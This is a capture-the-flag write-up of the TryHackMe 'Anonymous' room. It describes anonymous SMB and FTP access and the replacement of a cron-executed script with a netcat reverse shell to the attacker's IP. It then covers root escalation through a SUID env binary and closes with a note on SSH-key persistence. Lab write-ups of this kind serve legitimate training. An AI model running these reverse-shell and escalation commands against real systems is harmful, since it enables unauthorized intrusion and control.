Anonymous
https://tryhackme.com/room/anonymous
Last updated
Was this helpful?
https://tryhackme.com/room/anonymous
Last updated
Was this helpful?
By Jacvbtaylor
Using my nmap script, I discovered 4 open ports. These are common ports for accessing and sharing files through remote logins. Port 22, or SSH, would be the most ideal to access, but in most cases is the hardest. It wouldn't be worth trying to bruteforce without a known username and some personal user information in the event they set up a personalized password instead of a randomized one. With that being said, I simultaneously ran and enum4linux scan on the target IP to possibly discover valid users, and it did find two:
The users are shown below as "namelessone" & "nobody".
Since there is no OSINT I can gather about this target, my next move is testing their open services. I have yet to come across a null login for ssh, but FTP and SMB are different stories. I started with the SMB port:
I was able to list the sharenames without a valid password, so I testing the login and looked inside those sharename folders for any clues:
SMB allowed me to access 2 of the 3 share folders without a username or password. This is a dangerous configuration for networks and devices as I can now access assumingly private information. This information can often be used maliciously or simply stolen. Additionally, remote files can be uploaded to the target server. I used a recursive listing to quickly see what information I could gather, but nothing seems too interesting right now. I can assume there are two dog photos based off of the file names. Maybe I'll come back for those, but for now I will look at the ftp:
This was also too easy as FTP also allowed for null login. So far the only detected information is this scripts folder, which may hold resting data that I can exploit.
Once inside the scripts folder, I found 3 files. A executable, log, txt file. Using the mget command in FTP, I downloaded them to my machine.
I viewed the clean.sh file first. Since it's an executable, it may be tied to a specific user on the machine. The script appends data to removed_files.log. This may be my best bet to access the target's machine if I am able to edit this file and put it back onto the server through FTP. Sure, I could add my own file/script onto that server and run it through FTP by using
!./<filename>.sh
But I would connect as the user that ran that script as shown below:
So this solidifies clean.sh as my objective.
This is the netcat command I am attempting to have the remote host execute:
nc -nv 10.2.12.19 5555 -e /bin/bash
I will need to start listening on my end before uploading clean.sh back to the server, so I will run the following command in one of my terminals:
ufw allow from 10.10.42.85 && nc -lnvp 5555
I uploaded my executable version of clean.sh to the server through FTP and referenced the time the files show as updated through the FTP. This is a good indicator that the cronjob is probably running periodically, but hopefully sooner than later. I crossed my fingers as I waited for the cronjob to run this script.
20 minutes went by and no connection was made. I didn't want this to stop me so I searched for a bash reverse shell and tried another option as shown below:
I kept the echo command inside this time so I could keep track of when the log was being updated. This lets me know the cron job ran and that my script didn't work I get no connection when the file update time changes. But it worked!
After establishing a connection as user namelessone, I can now view the first flag in user.txt
Although I have gained persistence to the server through the clean.sh file being ran by the cronjob, I still do not have ideal connection to this user. I can see from my user ID that I belong to 7 groups, one being sudo. This is great, BUT sudo cannot be ran from this type of connection since it requires a password.
There wasn't much I could do from here, so I looked back at some previous CTF's I had done such and referenced a command I used here in step 3. I ran this command:
find / -perm -u=s -type f 2>/dev/null
Referencing GTFObins I looked at some of my options. Once that stood out at first were /bin/mount & pkexec, but these required the sudo option. Others I found did as well, except one..
/usr/bin/env has 3 capabilities: Shell, SUID, & Sudo.
There were 2 commands I could try
env /bin/sh & ./env /bin/sh -p
/usr/bin/env /bin/sh -p worked! Now as the root user, I can view the root.txt file and get the last flag.
If I wanted to take this further, the next step would be changing my persistence. The reverse shell still has limitations, even as the root user. Editing the ssh_config file to disallow password authentication and to allow rsa keys instead, would in theory grant me ssh access after creating a public and private key using ssh-keygen command.
env /bin/bash
